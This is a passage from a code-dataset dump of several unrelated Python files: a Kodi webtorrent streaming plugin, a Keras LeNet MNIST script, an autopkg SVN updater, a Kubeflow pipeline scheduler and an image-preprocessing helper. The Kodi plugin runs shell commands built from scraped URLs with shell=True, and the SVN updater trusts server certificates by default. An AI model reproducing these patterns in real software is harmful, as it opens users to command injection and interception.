sake.\r\n list_item.setProperty('fanart_image', category.thumbnail)\r\n # Set additional info for the list item.\r\n list_item.setInfo('video', {'title': video.title, 'genre': video.title})\r\n # Set additional graphics (banner, poster, landscape etc.) for the list item.\r\n # Again, here we use the same image as the thumbnail for simplicity's sake.\r\n list_item.setArt({'landscape': video.thumbnail})\r\n # Set 'IsPlayable' property to 'true'.\r\n # This is mandatory for playable items!\r\n list_item.setProperty('IsPlayable', 'true')\r\n # Create a URL for the plugin recursive callback.\r\n # Example: plugin://plugin.video.example/?action=play&video=http://www.vidsplay.com/vids/crab.mp4\r\n url = '{0}?action=play&videoId={1}'.format(_url, video.id)\r\n # Add the list item to a virtual Kodi folder.\r\n # is_folder = False means that this item won't open any sub-list.\r\n is_folder = False\r\n # Add our item to the listing as a 3-element tuple.\r\n listing.append((url, list_item, is_folder))\r\n # If the category has a next page add it to our listing.\r\n if category.hasNextPage:\r\n list_item = xbmcgui.ListItem(label=\"Next Page...\")\r\n url = '{0}?action=listing&category={1}&page={2}'.format(_url, category.channelName, category.page + 1)\r\n listing.append((url, list_item, True))\r\n\r\n # Add our listing to Kodi.\r\n # Large lists and/or slower systems benefit from adding all items at once via addDirectoryItems\r\n # instead of adding one by ove via addDirectoryItem.\r\n xbmcplugin.addDirectoryItems(_handle, listing, len(listing))\r\n # Add a sort method for the virtual folder items (alphabetically, ignore articles)\r\n xbmcplugin.addSortMethod(_handle, xbmcplugin.SORT_METHOD_UNSORTED)\r\n # Finish creating a virtual folder.\r\n xbmcplugin.endOfDirectory(_handle)\r\n\r\ndef channelThumbnailFromChannels(name, channels):\r\n for channel in channels:\r\n if channel.channelName == name:\r\n return channel.thumbnail\r\n return \"\"\r\n\r\ndef listSubscriptionVideos(pageNumber):\r\n if pageNumber is None:\r\n pageNumber = 1\r\n # find all the channels we are subscribed to and set their thumbnails\r\n channels = []\r\n subs = fetchLoggedIn(baseUrl + \"/subscriptions\")\r\n subsSoup = BeautifulSoup(subs.text, 'html.parser')\r\n for sub in subsSoup.find_all('div', \"subscription-container\"):\r\n channelName = sub.find_all('a')[0].get('href').split('/')[-1]\r\n thumb = sub.find_all('img', 'subscription-image')[0].get('data-src').replace(\"_small.\", \"_large.\")\r\n channels.append(Channel(channelName))\r\n channels[-1].thumbnail = thumb\r\n \r\n # fetch the actualsubscription videos\r\n subscriptionActivity = postLoggedIn(baseUrl + \"/extend/\", baseUrl,{\"name\": \"subscribed\", \"index\": (pageNumber - 1)})\r\n data = json.loads(subscriptionActivity.text)\r\n soup = BeautifulSoup(data['html'], 'html.parser')\r\n videos = []\r\n for videoContainer in soup.findAll('div', \"video-card\"):\r\n videos.append(VideoLink.getVideoFromVideoCard(videoContainer))\r\n \r\n listing = []\r\n \r\n for video in videos:\r\n list_item = xbmcgui.ListItem(label=video.title, thumbnailImage=video.thumbnail)\r\n list_item.setProperty('fanart_image', channelThumbnailFromChannels(video.channelName, channels))\r\n list_item.setInfo('video', {'title': video.title, 'genre': video.title})\r\n list_item.setArt({'landscape': video.thumbnail})\r\n list_item.setProperty('IsPlayable', 'true')\r\n url = '{0}?action=play&videoId={1}'.format(_url, video.id)\r\n is_folder = False\r\n # Add our item to the listing as a 3-element tuple.\r\n listing.append((url, list_item, is_folder))\r\n # Add an entry to get the next page of results.\r\n list_item = xbmcgui.ListItem(label=\"Next Page...\")\r\n url = '{0}?action=subscriptionActivity&page={1}'.format(_url, pageNumber + 1)\r\n listing.append((url, list_item, True))\r\n\r\n # Add our listing to Kodi.\r\n # Large lists and/or slower systems benefit from adding all items at once via addDirectoryItems\r\n # instead of adding one by ove via addDirectoryItem.\r\n xbmcplugin.addDirectoryItems(_handle, listing, len(listing))\r\n # Add a sort method for the virtual folder items (alphabetically, ignore articles)\r\n xbmcplugin.addSortMethod(_handle, xbmcplugin.SORT_METHOD_UNSORTED)\r\n # Finish creating a virtual folder.\r\n xbmcplugin.endOfDirectory(_handle)\r\n\r\ndef playVideo(videoId):\r\n print(videoId)\r\n videoUrl = VideoLink.getUrl(videoId)\r\n playing = 0\r\n # start webtorrent fetching path\r\n output = \"\"\r\n cnt = 0\r\n dlnaUrl = None\r\n save_path=\"\"\r\n try:\r\n save_path = xbmcplugin.getSetting(_handle, 'save_path')\r\n if len(save_path)>0:\r\n xbmc.log(\"saving to: \"+save_path,xbmc.LOGERROR)\r\n save_path= \" -o \"+save_path\r\n else:\r\n xbmc.log(\"not saving \",xbmc.LOGERROR)\r\n except:\r\n pass\r\n webTorrentClient = subprocess.Popen('webtorrent-hybrid \"' + videoUrl + '\" --dlna'+save_path, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\r\n print(\"running with PID \" + str(webTorrentClient.pid))\r\n for stdout_line in webTorrentClient.stdout:\r\n output += stdout_line.decode()\r\n cnt += 1\r\n if cnt > 10:\r\n break\r\n\r\n dlnaMatches = re.search('http:\\/\\/((\\w|\\d)+(\\.)*)+:\\d+\\/\\d+', output)\r\n if dlnaMatches:\r\n dlnaUrl = dlnaMatches.group()\r\n else:\r\n webTorrentClient.terminate()\r\n raise ValueError(\"could not determine the dlna URL.\")\r\n\r\n print(\"Streaming at: \" + dlnaUrl)\r\n seed_after=xbmcplugin.getSetting(_handle, 'seed_after') == \"true\" # for some reason we can't get settings in playWithCustomPlayer()\r\n xbmc.log(\"seed_after=\"+xbmcplugin.getSetting(_handle, 'seed_after'), xbmc.LOGERROR)\r\n\r\n while webTorrentClient.poll() == None:\r\n if playing == 0:\r\n playing = 1\r\n playWithCustomPlayer(dlnaUrl, webTorrentClient,videoUrl,seed_after)\r\n\r\ndef playWithCustomPlayer(url, webTorrentClient,videoUrl=\"\",seed_after=False):\r\n play_item = xbmcgui.ListItem(path=url)\r\n # Get an instance of xbmc.Player to work with.\r\n player = MyPlayer()\r\n player.play( url, play_item )\r\n xbmcplugin.setResolvedUrl(_handle, True, listitem=play_item)\r\n \r\n while player.is_active:\r\n player.sleep(100)\r\n\r\n webTorrentClient.terminate()\r\n if seed_after :\r\n s=subprocess.Popen('webtorrent-desktop \"' + videoUrl +'\" ', shell=True)\r\n else:\r\n xbmc.log(\"not seeding\",xbmc.LOGERROR)\r\n\r\n\r\n\r\ndef router(paramstring):\r\n \"\"\"\r\n Router function that calls other functions\r\n depending on the provided paramstring\r\n :param paramstring:\r\n :return:\r\n \"\"\"\r\n # Parse a URL-encoded paramstring to the dictionary of\r\n # {: } elements\r\n params = dict(parse_qsl(paramstring))\r\n # Check the parameters passed to the plugin\r\n if params:\r\n if params['action'] == 'listing':\r\n # Display the list of videos in a provided category.\r\n listVideos(params['category'], int(params.get('page', '1')))\r\n elif params['action'] == 'subscriptionActivity':\r\n # Display the list of videos from /extend subscriptions\r\n listSubscriptionVideos(int(params.get('page', '1')))\r\n elif params['action'] == 'play':\r\n # Play a video from a provided URL.\r\n playVideo(params['videoId'])\r\n elif params['action'] == 'playlists':\r\n listPlaylists()\r\n elif params['action'] == 'playlist':\r\n listVideosPlaylist(params['playlistId'], int(params.get('page', '1')))\r\n elif params['action'] == 'subscriptions':\r\n listCategories()\r\n else:\r\n # If the plugin is called from Kodi UI without any parameters,\r\n # display the list of video categories\r\n #listCategories()\r\n defaultMenu()\r\n\r\n\r\nif __name__ == '__main__':\r\n # Call the router function and pass the plugin call parameters to it.\r\n # We use string slicing to trim the leading '?' from the plugin call paramstring\r\n router(sys.argv[2][1:])\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":26405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"622096270","text":"\"\"\"\nauthor: hxtkyne\nsource: https://github.com/hxtkyne\nreference: https://github.com/f00-\ndate: 2018-02-28\ndescription: lenet model on mnist\n\"\"\"\nfrom keras.models import Sequential\nfrom keras.layers.convolutional import Conv2D, MaxPooling2D\nfrom keras.layers.core import Activation, Flatten, Dense\nfrom keras.datasets import mnist\nfrom keras import backend as K\nimport keras\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# define lenet model\nclass LeNet:\n\tdef build(img_width, img_height, img_channels, nb_classes, weightsPath=None):\n\t\tmodel = Sequential()\n\n\t\t#first: conv->relu->pool\n\t\tmodel.add(Conv2D(6,kernel_size=(5,5),padding=\"valid\", input_shape=(img_height, img_width, img_channels)))\n\t\tmodel.add(Activation(\"relu\"))\n\t\tmodel.add(MaxPooling2D(pool_size=(2,2), strides=(2,2)))\n\n\t\t#second:\n\t\tmodel.add(Conv2D(16, kernel_size=(5,5), padding=\"valid\"))\n\t\tmodel.add(Activation(\"relu\"))\n\t\tmodel.add(MaxPooling2D(pool_size=(2,2), strides=(2,2)))\n\n\t\t#third\n\t\tmodel.add(Flatten())\n\t\tmodel.add(Dense(500))\n\t\tmodel.add(Activation(\"relu\"))\n\n\t\t#last\n\t\tmodel.add(Dense(nb_classes))\n\t\tmodel.add(Activation(\"softmax\"))\n\n\t\t# weights is exist?\n\t\t# if weightsPath is not None:\n\t\tif os.path.exists(weightsPath):\n\t\t\tmodel.load_weights(weightsPath)\n\n\t\treturn model\n\n# define training para\nbatch_size = 128\nnb_classes = 10\nepochs = 2\n\n# weights path\nweightsPath = \"./weights/lenet_weights.hdf5\"\n\n# image dimension\nimg_width = 28\nimg_height = 28\nimg_channels = 1\n\n# load mnist dataset\n(x_train, y_train),(x_test, y_test) = mnist.load_data()\n\n# tensorflow backend, the format is channels_last\nif K.image_data_format() == 'channels_first':\n x_train = x_train.reshape(x_train.shape[0], img_channels, img_height, img_width)\n x_test = x_test.reshape(x_test.shape[0], img_channels, img_height, img_width)\n input_shape = (img_channels, img_height, img_width)\nelse:\n x_train = x_train.reshape(x_train.shape[0], img_height, img_width, img_channels)\n x_test = x_test.reshape(x_test.shape[0], img_height, img_width, img_channels)\n input_shape = (img_height, img_width, img_channels)\n\nx_train = x_train.astype('float32')\nx_test = x_test.astype('float32')\nx_train /= 255\nx_test /= 255\ny_train = keras.utils.to_categorical(y_train, nb_classes)\ny_test = keras.utils.to_categorical(y_test, nb_classes)\n\nmodel = LeNet.build(img_width, img_height, img_channels, nb_classes, weightsPath)\nprint(model.summary())\nmodel.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy'])\n\n# if weight file exist, no need for training\nif not os.path.exists(weightsPath):\n\tmodel.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, verbose=1, validation_data=(x_test, y_test))\n\t# savemodel\n\tmodel.save_weights(weightsPath, overwrite=True)\n\nscore = model.evaluate(x_test, y_test, verbose=0)\nprint('Test loss:', score[0])\nprint('Test accuracy:', score[1])\n\n# random predict and visualize\nindex = 10\ntest_data = x_test[index][np.newaxis,:]\nprobs = model.predict(test_data)\nprediction = probs.argmax(axis=1)\n# note data array should add the third dimension, and for gray image, don't forget set cmap\nplt.imshow(x_test[index][:,:,0], cmap='gray')\nplt.show()\nprint(prediction)\n\n\n\n","sub_path":"keraslesson4.py","file_name":"keraslesson4.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"1877389","text":"#!/usr/bin/env python\n#\n# Copyright 2016 Gerard Kok\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# work in progress, do not use\n\nfrom __future__ import absolute_import\n\nimport os\nimport re\nimport shutil\nimport subprocess\n\nfrom autopkglib import Processor, ProcessorError\n\n__all__ = [\"SVNUpdater\"]\n\n\ndef is_working_copy(path):\n return os.path.isdir(path) and os.path.isdir(os.path.join(path, '.svn'))\n\n\ndef get_rev(str):\n result = re.search(r'^Revision:\\s+(\\d+)', str, re.MULTILINE)\n if result:\n return result.group(1)\n else:\n return 0\n \n \nclass SVNUpdater(Processor):\n \"\"\"Keeps an svn working copy up to date.\"\"\"\n description = __doc__\n input_variables = {\n \"source\": {\n \"required\": True,\n \"description\": \"svn repository url\"\n },\n \"working_copy_dir\": {\n \"required\": False,\n \"description\": \"path to working copy\"\n },\n \"trust_server_cert\": {\n \"required\": False,\n \"description\": \"whether to trust the server certificate\"\n }\n }\n output_variables = {\n \"download_changed\": {\n \"description\": \"whether the working copy has been updated\"\n },\n \"revision\": {\n \"description\": \"the revision the working copy is updated to\"\n },\n \"svn_updater_summary_result\": {\n \"description\": \"interesting results\"\n }\n }\n\n \n def run_svn_cmd(self, params, working_copy_dir=None):\n svn_cmd = ['/usr/bin/svn', '--non-interactive']\n if self.trust_server_cert():\n svn_cmd.extend(['--trust-server-cert'])\n svn_cmd.extend(params)\n p = subprocess.Popen(svn_cmd,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n cwd=working_copy_dir)\n return p.communicate()\n \n \n def get_working_copy_dir(self, source):\n if 'working_copy_dir' in self.env:\n return self.env['working_copy_dir']\n else:\n return os.path.join(self.env.get('RECIPE_CACHE_DIR'), 'downloads', os.path.basename(source))\n \n \n def trust_server_cert(self):\n if 'trust_server_cert' in self.env:\n return self.env['trust_server_cert']\n else:\n return True\n \n \n def get_latest_rev(self, source):\n (out, err) = self.run_svn_cmd(['info', '-r', 'HEAD', source])\n return get_rev(out)\n \n \n def get_current_rev(self, working_copy_dir):\n (out, err) = self.run_svn_cmd(['info', working_copy_dir])\n return get_rev(out)\n \n \n def main(self):\n source = self.env['source']\n working_copy_dir = self.get_working_copy_dir(source)\n self.env['revision'] = self.get_latest_rev(source)\n if is_working_copy(working_copy_dir):\n current_rev = self.get_current_rev(working_copy_dir)\n self.run_svn_cmd(['update'], working_copy_dir)\n self.env['download_changed'] = self.env['revision'] > current_rev\n else:\n # is working_copy_dir is not a working copy, make sure it's out of the way\n shutil.rmtree(working_copy_dir, ignore_errors=True)\n self.run_svn_cmd(['checkout', source, working_copy_dir])\n self.env['download_changed'] = True\n if self.env['download_changed']:\n self.env['svn_updater_summary_result'] = {\n 'summary_text': 'The following working copy was updated:',\n 'data': {\n 'working_copy_path': working_copy_dir,\n }\n }\n \n \nif __name__ == '__main__':\n processor = SVNUpdater()\n processor.execute_shell()\n","sub_path":"SharedProcessors/SVNUpdater.py","file_name":"SVNUpdater.py","file_ext":"py","file_size_in_byte":4218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"44648741","text":"# Copyright 2021 The Kubeflow Authors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Module for scheduling pipeline runs.\"\"\"\n\nimport base64\nimport hashlib\nimport json\nimport logging\nimport pathlib\nimport re\nimport tempfile\nfrom typing import Any, Mapping, Optional\nimport zipfile\n\nimport googleapiclient\nfrom googleapiclient import discovery\nimport requests\n\nfrom kfp.v2.google.client import client_utils\nfrom kfp.v2.google.client import runtime_config_builder\n\n_PROXY_FUNCTION_NAME = 'templated_http_request-v1'\n_PROXY_FUNCTION_FILENAME = '_cloud_function_templated_http_request.py'\n\n_CAIPP_ENDPOINT_WITHOUT_REGION = 'aiplatform.googleapis.com'\n_CAIPP_API_VERSION = 'v1beta1'\n\n\ndef create_from_pipeline_file(\n pipeline_path: str,\n schedule: str,\n project_id: str,\n region: str = 'us-central1',\n time_zone: str = 'US/Pacific',\n parameter_values: Optional[Mapping[str, Any]] = None,\n pipeline_root: Optional[str] = None,\n service_account: Optional[str] = None,\n app_engine_region: Optional[str] = None,\n cloud_scheduler_service_account: Optional[str] = None,\n) -> dict:\n \"\"\"Creates schedule for compiled pipeline file.\n\n This function creates scheduled job which will run the provided pipeline on\n schedule. This is implemented by creating a Google Cloud Scheduler Job.\n The job will be visible in https://console.google.com/cloudscheduler and can\n be paused/resumed and deleted.\n\n To make the system work, this function also creates a Google Cloud Function\n which acts as an intermediary between the Scheduler and Pipelines. A single\n function is shared between all scheduled jobs.\n The following APIs will be activated automatically:\n * cloudfunctions.googleapis.com\n * cloudscheduler.googleapis.com\n * appengine.googleapis.com\n\n Args:\n pipeline_path: Path of the compiled pipeline file.\n schedule: Schedule in cron format. Example: \"45 * * * *\"\n project_id: Google Cloud project ID\n region: Google Cloud compute region. Default is 'us-central1'\n time_zone: Schedule time zone. Default is 'US/Pacific'\n parameter_values: Arguments for the pipeline parameters\n pipeline_root: Optionally the user can override the pipeline root\n specified during the compile time.\n service_account: The service account that the pipeline workload runs as.\n app_engine_region: The region that cloud scheduler job is created in.\n cloud_scheduler_service_account: The service account that Cloud Scheduler job and the proxy cloud function use.\n this should have permission to call AI Platform API and the proxy function.\n If not specified, the functions uses the App Engine default service account.\n\n Returns:\n Created Google Cloud Scheduler Job object dictionary.\n \"\"\"\n pipeline_dict = client_utils.load_json(pipeline_path)\n\n return _create_from_pipeline_dict(\n pipeline_dict=pipeline_dict,\n schedule=schedule,\n project_id=project_id,\n region=region,\n time_zone=time_zone,\n parameter_values=parameter_values,\n pipeline_root=pipeline_root,\n service_account=service_account,\n app_engine_region=app_engine_region,\n cloud_scheduler_service_account=cloud_scheduler_service_account,\n )\n\n\ndef _create_from_pipeline_dict(\n pipeline_dict: dict,\n schedule: str,\n project_id: str,\n region: str = 'us-central1',\n time_zone: str = 'US/Pacific',\n parameter_values: Optional[Mapping[str, Any]] = None,\n pipeline_root: Optional[str] = None,\n service_account: Optional[str] = None,\n app_engine_region: Optional[str] = None,\n cloud_scheduler_service_account: Optional[str] = None,\n) -> dict:\n \"\"\"Creates schedule for compiled pipeline dictionary.\"\"\"\n\n _enable_required_apis(project_id=project_id)\n\n # If appengine region is not provided, use the pipeline region.\n app_engine_region = app_engine_region or region\n\n proxy_function_url = _get_proxy_cloud_function_endpoint(\n project_id=project_id,\n region=region,\n cloud_scheduler_service_account=cloud_scheduler_service_account,\n )\n\n if parameter_values or pipeline_root:\n config_builder = runtime_config_builder.RuntimeConfigBuilder.from_job_spec_json(\n pipeline_dict)\n config_builder.update_runtime_parameters(\n parameter_values=parameter_values)\n config_builder.update_pipeline_root(pipeline_root=pipeline_root)\n updated_runtime_config = config_builder.build()\n pipeline_dict['runtimeConfig'] = updated_runtime_config\n\n # Creating job creation request to get the final request URL\n pipeline_jobs_api_url = f'https://{region}-{_CAIPP_ENDPOINT_WITHOUT_REGION}/{_CAIPP_API_VERSION}/projects/{project_id}/locations/{region}/pipelineJobs'\n\n # Preparing the request body for the Cloud Function processing\n full_pipeline_name = pipeline_dict.get('name')\n pipeline_display_name = pipeline_dict.get('displayName')\n time_format_suffix = \"-{{$.scheduledTime.strftime('%Y-%m-%d-%H-%M-%S')}}\"\n if 'name' in pipeline_dict:\n pipeline_dict['name'] += time_format_suffix\n if 'displayName' in pipeline_dict:\n pipeline_dict['displayName'] += time_format_suffix\n\n pipeline_dict['_url'] = pipeline_jobs_api_url\n pipeline_dict['_method'] = 'POST'\n\n if service_account is not None:\n pipeline_dict['serviceAccount'] = service_account\n\n pipeline_text = json.dumps(pipeline_dict)\n pipeline_data = pipeline_text.encode('utf-8')\n\n # Generating human-readable schedule name.\n schedule_name = _build_schedule_name(\n job_body_data=pipeline_data,\n schedule=schedule,\n pipeline_name=full_pipeline_name,\n display_name=pipeline_display_name,\n )\n\n project_location_path = 'projects/{}/locations/{}'.format(\n project_id, app_engine_region)\n scheduled_job_full_name = '{}/jobs/{}'.format(project_location_path,\n schedule_name)\n service_account_email = cloud_scheduler_service_account or '{}@appspot.gserviceaccount.com'.format(\n project_id)\n\n scheduled_job = dict(\n name=scheduled_job_full_name, # Optional. Only used for readable names.\n schedule=schedule,\n time_zone=time_zone,\n http_target=dict(\n http_method='POST',\n uri=proxy_function_url,\n # Warning: when using google.cloud.scheduler_v1, the type of body is\n # bytes or string. But when using the API through discovery, the body\n # needs to be base64-encoded.\n body=base64.b64encode(pipeline_data).decode('utf-8'),\n oidc_token=dict(service_account_email=service_account_email,),\n ),\n # TODO(avolkov): Add labels once Cloud Scheduler supports them\n # labels={\n # 'google.cloud.ai-platform.pipelines.scheduling': 'v1alpha1',\n # },\n )\n\n try:\n response = _create_scheduler_job(\n project_location_path=project_location_path,\n job_body=scheduled_job,\n )\n return response\n except googleapiclient.errors.HttpError as err:\n # Handling the case where the exact schedule already exists.\n if err.resp.get('status') == '409':\n raise RuntimeError(\n 'The exact same schedule already exists') from err\n raise err\n\n\ndef _create_scheduler_job(project_location_path: str,\n job_body: Mapping[str, Any]) -> str:\n \"\"\"Creates a scheduler job.\n\n Args:\n project_location_path: The project location path.\n job_body: The scheduled job dictionary object.\n\n Returns:\n The response from scheduler service.\n \"\"\"\n # We cannot use google.cloud.scheduler_v1.CloudSchedulerClient since\n # it's not available internally.\n scheduler_service = discovery.build(\n 'cloudscheduler', 'v1', cache_discovery=False)\n scheduler_jobs_api = scheduler_service.projects().locations().jobs()\n response = scheduler_jobs_api.create(\n parent=project_location_path,\n body=job_body,\n ).execute()\n return response\n\n\ndef _build_schedule_name(\n job_body_data: bytes,\n schedule: str,\n pipeline_name: str,\n display_name: str,\n) -> str:\n \"\"\"Generates the name for the schedule.\n\n Args:\n job_body_data: The serialized pipeline job.\n schedule: Schedule in cron format.\n pipeline_name: Full resource name of the pipeline in\n projects//pipelineJobs/ format.\n display_name: Pipeline display name.\n Returns:\n Suggested schedule resource name.\n \"\"\"\n pipeline_name_part = 'pipeline'\n if pipeline_name is not None:\n # pipeline_name format: projects//pipelineJobs/\n pipeline_id = pipeline_name.split('/')[-1]\n # Limiting the length of the pipeline name part.\n pipeline_name_part = pipeline_id[0:200]\n elif display_name is not None:\n pipeline_name_part = display_name\n pipeline_hash_part = hashlib.sha256(job_body_data).hexdigest()[0:8]\n schedule_part = (\n schedule.replace('*/', 'div').replace('*', 'a').replace(' ', '-'))\n job_name = '_'.join([\n 'pipeline',\n pipeline_name_part,\n pipeline_hash_part,\n schedule_part,\n ])\n job_name = re.sub('[^-_a-z0-9]', '_', job_name)\n return job_name\n\n\n# For mocking\ndef _get_cloud_functions_api():\n functions_service = discovery.build(\n 'cloudfunctions', 'v1', cache_discovery=False)\n functions_api = functions_service.projects().locations().functions()\n return functions_api\n\n\ndef _create_or_get_cloud_function(\n name: str,\n entry_point: str,\n file_data: Mapping[str, str],\n project_id: str,\n region: str,\n runtime: str = 'python37',\n cloud_scheduler_service_account: Optional[str] = None,\n):\n \"\"\"Creates Google Cloud Function.\"\"\"\n functions_api = _get_cloud_functions_api()\n\n project_location_path = 'projects/{}/locations/{}'.format(\n project_id, region)\n function_full_name = project_location_path + '/functions/' + name\n\n # Returning early if the function already exists.\n try:\n function_get_response = functions_api.get(\n name=function_full_name).execute()\n return function_get_response\n except googleapiclient.errors.HttpError as err:\n raise_error = True\n if err.resp['status'] == '404':\n # The function does not exist, which is expected.\n raise_error = False\n if raise_error:\n raise err\n\n get_upload_url_response = functions_api.generateUploadUrl(\n parent=project_location_path,\n body={},\n ).execute()\n upload_url = get_upload_url_response['uploadUrl']\n\n # Preparing the payload archive\n with tempfile.TemporaryFile() as archive_file:\n with zipfile.ZipFile(archive_file, 'w',\n zipfile.ZIP_DEFLATED) as archive:\n for path, data in file_data.items():\n archive.writestr(path, data)\n\n archive_file.seek(0)\n headers = {\n 'content-type': 'application/zip',\n 'x-goog-content-length-range': '0,104857600',\n }\n upload_response = requests.put(\n url=upload_url,\n headers=headers,\n data=archive_file,\n )\n upload_response.raise_for_status()\n\n # Prepare Request Body\n # https://cloud.google.com/functions/docs/reference/rest/v1/projects.locations.functions#resource-cloudfunction\n\n request_body = {\n 'name': function_full_name,\n 'entryPoint': entry_point,\n 'sourceUploadUrl': upload_url,\n 'httpsTrigger': {},\n 'runtime': runtime,\n }\n if cloud_scheduler_service_account is not None:\n request_body[\"serviceAccountEmail\"] = cloud_scheduler_service_account\n try:\n functions_api.create(\n location=project_location_path,\n body=request_body,\n ).execute()\n # Response is an operation object dict\n # TODO(avolkov): Wait for the operation to succeed\n # 'status' can be 'ACTIVE', 'DEPLOY_IN_PROGRESS', etc\n except googleapiclient.errors.HttpError as err:\n # Handling the case where the function already exists\n raise_error = True\n if err.resp['status'] == '409':\n err_content_dict = json.loads(err.content)\n err_error_dict = err_content_dict.get('error')\n if err_error_dict and err_error_dict.get(\n 'status') == 'ALREADY_EXISTS':\n # This should not usually happen\n logging.warning(\n 'Cloud Function already exists: name=%s',\n function_full_name,\n )\n raise_error = False\n if raise_error:\n raise err\n\n function_get_response = functions_api.get(name=function_full_name).execute()\n logging.info('Created Cloud Function: name=%s', function_full_name)\n\n return function_get_response\n\n\ndef _enable_required_apis(project_id: str,):\n \"\"\"Enables necessary APIs.\"\"\"\n serviceusage_service = discovery.build(\n 'serviceusage', 'v1', cache_discovery=False)\n services_api = serviceusage_service.services()\n\n required_services = [\n 'cloudfunctions.googleapis.com',\n 'cloudscheduler.googleapis.com',\n 'appengine.googleapis.com', # Required by the Cloud Scheduler.\n ]\n project_path = 'projects/' + project_id\n for service_name in required_services:\n service_path = project_path + '/services/' + service_name\n services_api.enable(name=service_path).execute()\n\n\ndef _get_proxy_cloud_function_endpoint(\n project_id: str,\n region: str = 'us-central1',\n cloud_scheduler_service_account: Optional[str] = None,\n):\n \"\"\"Sets up a proxy Cloud Function.\"\"\"\n function_source_path = (\n pathlib.Path(__file__).parent / _PROXY_FUNCTION_FILENAME)\n function_source = function_source_path.read_text()\n function_entry_point = '_process_request'\n\n function_dict = _create_or_get_cloud_function(\n name=_PROXY_FUNCTION_NAME,\n entry_point=function_entry_point,\n project_id=project_id,\n region=region,\n runtime='python37',\n file_data={\n 'main.py': function_source,\n 'requirements.txt': 'google-api-python-client>=1.7.8,<2',\n },\n cloud_scheduler_service_account=cloud_scheduler_service_account,\n )\n endpoint_url = function_dict['httpsTrigger']['url']\n return endpoint_url\n","sub_path":"sdk/python/kfp/v2/google/client/schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":15105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"187734319","text":"import pandas as pd \nimport numpy as np \nimport librosa as lr\nimport cv2\nfrom typing import Dict,List,Union,Tuple,Generator\nfrom scipy import fftpack\n\ndef clean(path: str\n ) -> Dict:\n \"\"\"\n Function responsible for converting data\n from csv file into dict where key represents \n the path to image file and values are corresponding \n data labels.\n Function is necessary in processing the data in order \n to provide valid data into CNN.\n Parameters: \n : path - str - path to csv file that should be converted\n Returns: \n : data_dict - dict with converted data.\n \"\"\"\n df = pd.read_csv(path)\n uncleaned_path = df['Path'].tolist()\n targets = df['Target'].tolist()\n data_dict = {}\n for path,target in zip(uncleaned_path,targets):\n path = './Images\\\\' + path.split('\\\\\\\\')[1]\n data_dict[path] = target\n return data_dict\n\ndef make_batch(seq,\n size\n ) -> List: \n return (seq[pos:pos+size] for pos in range(0,len(seq),size))\n\ndef generate_data(data: Union[List[str],List[np.ndarray]],\n labels: Union[Dict,np.ndarray],\n width: int,\n height: int,\n batch_size: int,\n shuffle: bool\n ) -> Generator[np.ndarray,np.ndarray,None]:\n \"\"\" Keras generator function that generates a bunch of data that \n is being fed into classifier, by now only designed to generate \n a bunch of data into CNN model. \n Parameters: \n : data - Union[List[str],List[np.ndarray]] - list of strings \n representing the path to images that should be read.\n : labels - Union[Dict,np.ndarray] - labels for corresponding images. \n : width - int - width of an image if resize is necessary. \n : height - int - height of an image. \n : shuffle - bool - whether to shufle the data before loading.\n Returns: \n : Generator of both images as a numpy.ndarray and corresponding \n labels of this images.\n \"\"\"\n while True: \n if shuffle: \n np.random.shuffle(data) \n for batch in make_batch(data,batch_size):\n X = [cv2.imread(x) for x in batch]\n if width and height:\n X = [cv2.resize(x,(128,128)) for x in X]\n X = [cv2.cvtColor(x,cv2.COLOR_BGR2RGB) for x in X]\n Y = [labels[x.split('.png')[0]] for x in batch]\n yield (np.array(X),np.array(Y))\n\ndef fit_input(data: Union[List[str],List[np.ndarray]],\n labels: Union[Dict,np.ndarray],\n width: int,\n height: int\n ) -> Tuple[np.ndarray,np.ndarray]:\n \"\"\" Provides the input data into CNN Keras model from given data.\n Parameters: \n : data - Union[List[str],List[np.ndarray]] - data of paths to \n images that should be converted into images. \n : labels - Union[Dict,np.ndarray] - Dict of data with corresponding \n data labels where key should be a path to image. \n : width - int - represents desired width of an image. \n : height - int - height of an image.\n Returns: \n : X,y - converted images and their corresponding labels. \n \"\"\"\n X = np.array([cv2.imread(x) for x in data])\n if width and height:\n X = np.asarray([cv2.resize(x,(width,height)) for x in X])\n X = np.asarray([cv2.cvtColor(x,cv2.COLOR_BGR2RGB) for x in X])\n Y = np.array([labels[x.split('.png')[0]] for x in data])\n return (X,Y)\n\ndef prepare_for_ANN(data: List,\n labels: Union[Dict,np.ndarray],\n width: int,\n height: int\n ) -> Tuple[np.ndarray,np.ndarray]:\n \"\"\" Easy to use function that converts the data into format \n which then can be applied as a input data into ANN Keras model. \n Parameters: \n : data - List - List of strings that represents path to images.\n : labels - Union[Dict,np.ndarray] - data labels for images. \n : width - int - if resize is applied, represents the width of an image. \n : height - int - if resize if applied, represents the height of an image.\n Returns: \n : Tuple - converted images and corresponding data labels.\n \"\"\"\n X = 